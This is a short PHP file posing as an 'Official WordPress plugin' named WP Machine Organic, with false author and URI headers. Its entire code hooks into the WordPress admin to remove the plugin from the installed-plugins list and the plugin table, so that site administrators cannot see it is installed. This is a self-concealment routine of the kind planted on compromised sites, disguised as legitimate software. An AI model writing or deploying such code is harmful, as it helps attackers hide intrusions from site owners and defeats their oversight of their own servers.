<?php /* Plugin Name: WP Machine Organic Plugin URI: http://wordpress.org/# Description: Official WordPress plugin Author: WordPress Version: 14.5.6 Author URI: http://wordpress.org/# License: GPL2 */ function xpd_nsd() { global $wp_list_table; if (!isset($wp_list_table)) { return; } $h = array('wp-machine-organic/wp-machine-organic.php'); if (isset($wp_list_table->items) && is_array($wp_list_table->items)) { foreach ($wp_list_table->items as $key => $val) { if (in_array($key, $h)) { unset($wp_list_table->items[$key]); } } } } function syj_owo($plugins) { $p = 'wp-machine-organic/wp-machine-organic.php'; if (array_key_exists($p, $plugins)) { unset($plugins[$p]); } return $plugins; } if (defined('ABSPATH')) { add_action('pre_current_active_plugins', 'xpd_nsd'); add_filter('all_plugins', 'syj_owo'); }